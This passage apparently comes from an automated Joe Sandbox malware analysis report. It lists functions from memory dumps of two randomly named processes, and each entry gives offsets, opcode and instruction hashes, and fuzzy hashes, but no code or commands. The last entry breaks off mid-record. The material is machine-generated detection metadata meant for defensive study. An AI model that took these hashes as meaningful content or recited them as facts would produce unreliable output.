              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 65ab25f840c4b317806463191b90245ea0bd9b2fda55bc2650b28eb16a7517fe
              • Instruction ID: 9777a2a8ce2d3c3f653da6aab8db90641f50d3fbbde74c4c98867812e142d0b7
              • Opcode Fuzzy Hash: 65ab25f840c4b317806463191b90245ea0bd9b2fda55bc2650b28eb16a7517fe
              • Instruction Fuzzy Hash: 80412C70E09A4D8FDBA5EFA8C4956ADB7B1FF58304F5045BAD40CD72A6CF34A9818B40
              Function 00007FFD9B7F0011 Relevance: .1, Instructions: 116COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: fefe0d1cdff1c3f693690eb001454c2e3491c48cbec6e271894d56e54d21f961
              • Instruction ID: d33ac3eb8afc282b6d717c7aa5a56b86c148b973c378141fa3fb5a9f8265c9dc
              • Opcode Fuzzy Hash: fefe0d1cdff1c3f693690eb001454c2e3491c48cbec6e271894d56e54d21f961
              • Instruction Fuzzy Hash: 6B316D71E0961E8FDB68DFA8D4656FDBBB1EF58300F01017AD019E32E5DA385A41CB94
              Function 00007FFD9B7E0B8D Relevance: .1, Instructions: 112COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 234ead80a80a009058811edf133efd79346ae0ae88069c33dcd3c2d842f70637
              • Instruction ID: 662200a58477d392b7c33b8f8208dbbb1977e345673cf50be4475640e856ee8b
              • Opcode Fuzzy Hash: 234ead80a80a009058811edf133efd79346ae0ae88069c33dcd3c2d842f70637
              • Instruction Fuzzy Hash: DF416C70E0A65E8FEB60EBA488666FDB7B1FF05704F410675D009E71B2DB786A408B50
              Function 00007FFD9B7E118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction ID: d58a26f84a19f26dd78189b030b56718051c0f55ad7630a79001a7408790c250
              • Opcode Fuzzy Hash: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction Fuzzy Hash: 1D419A70E1561D8EEBA4EBE8C466BADB7B1FF58700F514179D00DE32B2DE346A818B11
              Function 00007FFD9B7E12B7 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 394c140ce04af988cf49309fa704fdd30a13c6b4019a1a67507b18f0b4a612b1
              • Instruction ID: 7ff9971f9e4d3fe0fb12e25da9ad3a9b9413f0b7ac4a034a13d5f32708273ffb
              • Opcode Fuzzy Hash: 394c140ce04af988cf49309fa704fdd30a13c6b4019a1a67507b18f0b4a612b1
              • Instruction Fuzzy Hash: 7E41A970E1561D8EEBA4EB98C866BECB6B1FF58700F0142F5D00DE22B1DE746A818F51
              Function 00007FFD9B7E0DE9 Relevance: .1, Instructions: 91COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 32fe57f36d986e0d09b1a6a639def9264da19f8cc4f5d63b3fd2a62002995c61
              • Instruction ID: 97676fa5662787390f725e1a50ee94b975b706ea32830da73dae4ba976942211
              • Opcode Fuzzy Hash: 32fe57f36d986e0d09b1a6a639def9264da19f8cc4f5d63b3fd2a62002995c61
              • Instruction Fuzzy Hash: 6F314A70E0A35E8FEB20EBA4C4657ED77F0AF19710F114275D009E62B2CB786A44CBA1
              Function 00007FFD9B7E19D3 Relevance: .1, Instructions: 81COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 7101e9fc97ba51ed067bf6462ca9c2ebeab58ed2f40ec6e49a846d1e94eb5b87
              • Instruction ID: 20a3ef2c539301c321b8dcd04e86170f3ff845d6c68324a7d61a3c37ed88e484
              • Opcode Fuzzy Hash: 7101e9fc97ba51ed067bf6462ca9c2ebeab58ed2f40ec6e49a846d1e94eb5b87
              • Instruction Fuzzy Hash: 2F213627B0F7992FD711AFA8AC259EE7F60EF82226F0501F7D148C61A3D9281649C791
              Function 00007FFD9B7E168D Relevance: .1, Instructions: 79COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3f086e6ba276063c4ac39dab7f032537b1ce63951821be119a10cf0af6cf9b6e
              • Instruction ID: b5a6891579e301ffa5cdf9ef69864a3d1627deb1a5fc256c562b61755e31d8df
              • Opcode Fuzzy Hash: 3f086e6ba276063c4ac39dab7f032537b1ce63951821be119a10cf0af6cf9b6e
              • Instruction Fuzzy Hash: 9321F874A0961D8FDB54EB98C8A56ECB7F1FF58301F11417AD00AE72B1CA786941CB40
              Function 00007FFD9B7EDC85 Relevance: .1, Instructions: 66COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8753277b387e7db0c1fce70beb4879ccf7059ebd97da809d1d1b9c806e97e2ab
              • Instruction ID: 32c004434de2bfdaeba4410b490fde67f048b20f189b3d54876bda52cb13bfac
              • Opcode Fuzzy Hash: 8753277b387e7db0c1fce70beb4879ccf7059ebd97da809d1d1b9c806e97e2ab
              • Instruction Fuzzy Hash: CB11D630A0E78D8FDB65DB64C864BA97BA1EF55314F0502BAE018E72E6CB7469018741
              Function 00007FFD9B7EFEED Relevance: .0, Instructions: 48COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 7a711795c242857e497c8f4afff94772b941183bb0773896e007f5dc56b9de08
              • Instruction ID: a2322cd1990943c4deabd7355dbf8a74b663a29de8786b762811631f8600aeba
              • Opcode Fuzzy Hash: 7a711795c242857e497c8f4afff94772b941183bb0773896e007f5dc56b9de08
              • Instruction Fuzzy Hash: 6801623184E38A9FD7429FA08868AE97FF4EF07214F0946EBE488CB4A2C63C5595C711
              Function 00007FFD9B7E176F Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6d770f1d9e7f2782f2143e31ecb0e0940b960481320e2970b919377f267c3ead
              • Instruction ID: 6c50bbeba49e4c53a9c169e703cc89f948257adf0ae05b0878e8bbcae7f953b8
              • Opcode Fuzzy Hash: 6d770f1d9e7f2782f2143e31ecb0e0940b960481320e2970b919377f267c3ead
              • Instruction Fuzzy Hash: 0D019E3188E3C99FD7439BB08C699E57FF0EF47214B1901EAD485CB0B3C629964AC712
              Function 00007FFD9B7E1511 Relevance: .0, Instructions: 46COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 198fa0b713dfe8ac98905ca7c3a92f707517e6b04b32238fd86f24ad02b5bcb5
              • Instruction ID: b347a5c304de705f7307ad491973dd18b1fb3d48ac218ea5097d0b80cf676ecb
              • Opcode Fuzzy Hash: 198fa0b713dfe8ac98905ca7c3a92f707517e6b04b32238fd86f24ad02b5bcb5
              • Instruction Fuzzy Hash: 46012C3188E3C98FC7139BB488756A07FB4AF47214F0A05EAD4998F0F3D619696AD712
              Function 00007FFD9B7E9521 Relevance: .0, Instructions: 45COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 465bf2f28813667dba0a8bddf6b019b3c8a9d1f47b80c313a7c78b3bf6bd281d
              • Instruction ID: 45f849fac7addffa59bfd8aba63d757c47257d4b97ee5b0496e11ab0f4624af2
              • Opcode Fuzzy Hash: 465bf2f28813667dba0a8bddf6b019b3c8a9d1f47b80c313a7c78b3bf6bd281d
              • Instruction Fuzzy Hash: 03012871D1A64D8FEB60EFA898682FD7BE0FF18300F4106B6E418C61B2DB34A6548B41
              Function 00007FFD9B7EEA65 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 5b1221f9c9bffd35dcaf5a862926917bb6ef746d8d7baecce14c3f9ab1c8d8a8
              • Instruction ID: 0cd8ea21fd32d08d38d704c83e07e39a6f9bc3eb68fa5d29628ddb9cd7104013
              • Opcode Fuzzy Hash: 5b1221f9c9bffd35dcaf5a862926917bb6ef746d8d7baecce14c3f9ab1c8d8a8
              • Instruction Fuzzy Hash: BB01AD71A0E78D8FEBA1EF6888296B87BA1FF15300F0605BAD448C21B2DA3466908701
              Function 00007FFD9B7E0BD3 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction ID: b6023f05b469bb7bbacceba0aa08a72f5554ae945c345e5ec3e09e6ccba74c9c
              • Opcode Fuzzy Hash: 0ed9e469806878b8b7fbf8e62ffc179c39d405540d6ff1eb7b49153841b18c67
              • Instruction Fuzzy Hash: 21011E70E0A22F8EEB60DBE489566FEB6F0BF05705F110635D019A21B2DB786744CBA0
              Function 00007FFD9B7E0A79 Relevance: .0, Instructions: 41COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 93cdb388465c230aef50b1b082f32e9b8e2baaeb6cd0f55609238e2b0ab786b3
              • Instruction ID: 297f3ee1478a921ec8180593a61652a348d780ea19c784438f0570abb9d22695
              • Opcode Fuzzy Hash: 93cdb388465c230aef50b1b082f32e9b8e2baaeb6cd0f55609238e2b0ab786b3
              • Instruction Fuzzy Hash: E101D431A0E38D4FE7669BA488792F97FA0AF56714F4601AAD089C60F2D9285954C701
              Function 00007FFD9B7E148F Relevance: .0, Instructions: 39COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction ID: c8195828c7b2f7677b87f24dc416cecdb580c15a8299374e08edfeebec5b67d8
              • Opcode Fuzzy Hash: 6f0ccc9e0ec3e597a7e6b203600d8c7b8cb01ecc2bd5050193b0c06bf3c471fa
              • Instruction Fuzzy Hash: 8F01A970E0A61ECFDB64EB84D855AEC76B1FF59300F510239D009A26B1DA746A40CB00
              Function 00007FFD9B7EE995 Relevance: .0, Instructions: 38COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 61bb0fc32d1b9a57f6d295cf96525b5a852ac27fc18b89fb7b610b5cf29b1608
              • Instruction ID: 790961ba4c829d6ecabce04182e0e9cf89b7575c519f170419e2366bb65cab99
              • Opcode Fuzzy Hash: 61bb0fc32d1b9a57f6d295cf96525b5a852ac27fc18b89fb7b610b5cf29b1608
              • Instruction Fuzzy Hash: 53F04F7191D78D8FEB94AF5488656E877A0FF14300F4505BAE41CC21B6DB3865548B12
              Function 00007FFD9B7E90C1 Relevance: .0, Instructions: 37COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 51d8858ab4211a0f483cb412d3ecd1b380fc26df6fcbb85be6ba7c84138d892b
              • Instruction ID: 266954ed6e88ff6c72a0357ec1b533e9e7ed6453212dc18a21928701948be638
              • Opcode Fuzzy Hash: 51d8858ab4211a0f483cb412d3ecd1b380fc26df6fcbb85be6ba7c84138d892b
              • Instruction Fuzzy Hash: 39F05E3191A74D9FDBA4EF68885D6ED7BB0FF04304F4206BAE41CD21B2EB34A6548B41
              Function 00007FFD9B7E8F01 Relevance: .0, Instructions: 36COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: d66a8d04c8461112247a3a38291ea3615627e697d6d9176ac94bc04214e2689b
              • Instruction ID: c8f5f7c7480f58cfb06e9d18f9a813e4407d1ff6ebb86aa7d5041675a9db6e21
              • Opcode Fuzzy Hash: d66a8d04c8461112247a3a38291ea3615627e697d6d9176ac94bc04214e2689b
              • Instruction Fuzzy Hash: E5F0BE3090A34ECFCB519F549851AEA3761FF05300F4502BAE40C8A1B2CB38AA60C791
              Function 00007FFD9B7E0A90 Relevance: .0, Instructions: 35COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e0000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 80fed311d65602c8a373ea46f2f2f10e0433f3e251f4a2ceed926becee5c89bc
              • Instruction ID: acb3eb9dc19f6a708c020d1b797f9907dc38196ac61bb994de65aa112f8668ca
              • Opcode Fuzzy Hash: 80fed311d65602c8a373ea46f2f2f10e0433f3e251f4a2ceed926becee5c89bc
              • Instruction Fuzzy Hash: 9BF05930E1E74D8AEB64EBB488652F97BE0EF55704F41017AE08DC10F1DD342694C700
              Function 00007FFD9B7EE4F9 Relevance: .0, Instructions: 33COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c4467ef0afe20711e26eb7e9731c561f6c81be967405b74e806895e707012ed4
              • Instruction ID: 19c9beee3a2dab8b829bcbaf42d78b849b13f278057cf331c3f4c0ed2447840e
              • Opcode Fuzzy Hash: c4467ef0afe20711e26eb7e9731c561f6c81be967405b74e806895e707012ed4
              • Instruction Fuzzy Hash: E5F0B43495E2CD9FDB52A7B4446C5F97FA0DF0A304F1509E6E458C90B2D9645255C701
              Function 00007FFD9B7EE8CD Relevance: .0, Instructions: 30COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: ca35bf65bf16ba536405166d612e4cf36e3429b7ffb9f1faa85eed83299786b2
              • Instruction ID: 9c8287284e1200e824dc219934f70ceed9c91de67980f3e373e708a4dba82405
              • Opcode Fuzzy Hash: ca35bf65bf16ba536405166d612e4cf36e3429b7ffb9f1faa85eed83299786b2
              • Instruction Fuzzy Hash: 6BF0E972E0E38D8FD791ABA058356E97BA0BF51304F0605B6E40CC20F3DA286614C703
              Function 00007FFD9B7ECDE0 Relevance: .0, Instructions: 27COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7EC000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7EC000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7ec000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 3f47eda3d66c7b16a087cf5e1f8fa7e28e659c9c32261fc97dd11686fdfe94a9
              • Instruction ID: 466f966cbae54a57f1ecb792c68ce3a47eb342b039dbf664fbcc1ae0b8a21ed0
              • Opcode Fuzzy Hash: 3f47eda3d66c7b16a087cf5e1f8fa7e28e659c9c32261fc97dd11686fdfe94a9
              • Instruction Fuzzy Hash: A0E06D30D5A60D8FEB50EFA4C8096EDB7E4FF08304F410576E81CD21B0DB3066A48B81

              Non-executed Functions

              Function 00007FFD9B7E8610 Relevance: 6.3, Strings: 5, Instructions: 76COMMON
              Download Yara Rule
              Strings
              Memory Dump Source
              • Source File: 0000000E.00000002.1801458394.00007FFD9B7E8000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E8000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_14_2_7ffd9b7e8000_TodjHkXUZB.jbxd
              Similarity
              • API ID:
              • String ID: M_^)$M_^+$M_^9$M_^;$M_^=
              • API String ID: 0-2685161461
              • Opcode ID: dc11e56c90f7f6af820fba85b0bfb35deb6a5873b0066f21c7a2e0ede2f52b9e
              • Instruction ID: 729f49cc17122830e924b20044c9c1b42ca4b02e6dc5abaeaf2988935d0efb4f
              • Opcode Fuzzy Hash: dc11e56c90f7f6af820fba85b0bfb35deb6a5873b0066f21c7a2e0ede2f52b9e
              • Instruction Fuzzy Hash: 79118977E1826585D318BA6C78A48DE73A4DF9037D34B87F6C87EDB187AE2470464980

              Executed Functions

              Function 00007FFD9B9418E8 Relevance: .2, Instructions: 170COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: d9e22ba48069245b9b401555d4169a3ebe1ddae2f8252cbdc713b40f85a95a86
              • Instruction ID: e8ab95f71acc9df14617bdb9e0fb122b53cfc40a0523ec07ad821438b86ed135
              • Opcode Fuzzy Hash: d9e22ba48069245b9b401555d4169a3ebe1ddae2f8252cbdc713b40f85a95a86
              • Instruction Fuzzy Hash: B441083771CA666BD700BB7CB861AD83F60EF81326B0845B3D199CE087DA24699DC7D1
              Function 00007FFD9B941589 Relevance: .2, Instructions: 168COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 8ed84203dad0c307dd11cb3f25a7b99df9f1e356408eb40d2374e5dc0c8a5b6b
              • Instruction ID: a9d87f91024e5e0626cfa13f544adf8dfb5e454c7612bbfb0df5bfe279854b1c
              • Opcode Fuzzy Hash: 8ed84203dad0c307dd11cb3f25a7b99df9f1e356408eb40d2374e5dc0c8a5b6b
              • Instruction Fuzzy Hash: EC518B30E2E66D9FEB64DBA4C8646FC7BF2EF45304F05017AD009E71A2DA386A45CB00
              Function 00007FFD9B94EC40 Relevance: .2, Instructions: 152COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0fd98382f2e2ff592b137eef3fb0eb5ab62404b523d1f308008d9bfbbdec87cd
              • Instruction ID: 8d230e0ae69d39b2c4e019364d2ad23cc9426d7deac16a17231e29993bcb8381
              • Opcode Fuzzy Hash: 0fd98382f2e2ff592b137eef3fb0eb5ab62404b523d1f308008d9bfbbdec87cd
              • Instruction Fuzzy Hash: BA414E71E19A6D9FDFA4EB98C895BEDBBF2FF58301F10006AD00DE3251DA3469818B40
              Function 00007FFD9B940510 Relevance: .1, Instructions: 114COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 50149bfa2524bef7c5caaba0ef7e3f62a828e894ce5764b51053e4e6d677f943
              • Instruction ID: 23b670df21cf4b6fad90b8601724f58ffd8c7a62fd7d5655e334d6c622bd35b9
              • Opcode Fuzzy Hash: 50149bfa2524bef7c5caaba0ef7e3f62a828e894ce5764b51053e4e6d677f943
              • Instruction Fuzzy Hash: 9631C336B0D26676E7147BA9A4659E97FA0DF01336F0841B3E0AEC80D7DD2969CD8284
              Function 00007FFD9B940DE9 Relevance: .1, Instructions: 106COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 1ea1db3ee71ff4fa3eec6d9a851f5563a3967d2df2b28a8cfa784a328923980d
              • Instruction ID: bb5790a01765e15be9ce4cdff5b530c7ac2ecfcb3c18a265174940753ae7e66e
              • Opcode Fuzzy Hash: 1ea1db3ee71ff4fa3eec6d9a851f5563a3967d2df2b28a8cfa784a328923980d
              • Instruction Fuzzy Hash: 1A417F70E1E36D9FEB21DBA4C5643FE7BF1AF19700F1101B6D008A62E2DA792654CB51
              Function 00007FFD9B940B8D Relevance: .1, Instructions: 104COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: c2336ec391b067b6dd96e7bf97d2b316569852701a56db4e5a8b020c241f6f36
              • Instruction ID: bfd3cb86627055f5bf6e4f51fc4a5bdb2bf4846a226bd84e9299e64e081c3fed
              • Opcode Fuzzy Hash: c2336ec391b067b6dd96e7bf97d2b316569852701a56db4e5a8b020c241f6f36
              • Instruction Fuzzy Hash: AB31A070E2A62E9FEF60EFA4C8246FD77E2EF04705F010576D009E71A1DBB866448B54
              Function 00007FFD9B94118F Relevance: .1, Instructions: 99COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction ID: e5b14ba9097569927010fef9b3b7b1562619ac78ed849421e2537e05df829c46
              • Opcode Fuzzy Hash: 0b742bc160cfe4eae30df500a931f0e24b673fa67acfe876ff02cebd9b413a34
              • Instruction Fuzzy Hash: E841A970E2952D9EEBA4EBA9C4657BCB7B2FF48700F414079D40DE3292DE346A818B01
              Function 00007FFD9B9412B7 Relevance: .1, Instructions: 93COMMON
              Download Yara Rule
              Memory Dump Source
              • Source File: 0000000F.00000002.1842291192.00007FFD9B940000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B940000, based on PE: false
              Joe Sandbox IDA Plugin
              • Snapshot File: hcaresult_15_2_7ffd9b940000_crQsxZqWXkIyquEQmzM.jbxd
              Similarity
              • API ID:
              • String ID:
              • API String ID:
              • Opcode ID: 2971cf1bc36c00ae0e5d3fb49817b8fc484cb8d03c384b7086209b4618d68cfd
              • Instruction ID: 052e00de40f69ecddf9f043cceada3b0baf54a546992954bd57be491ad03f2ed
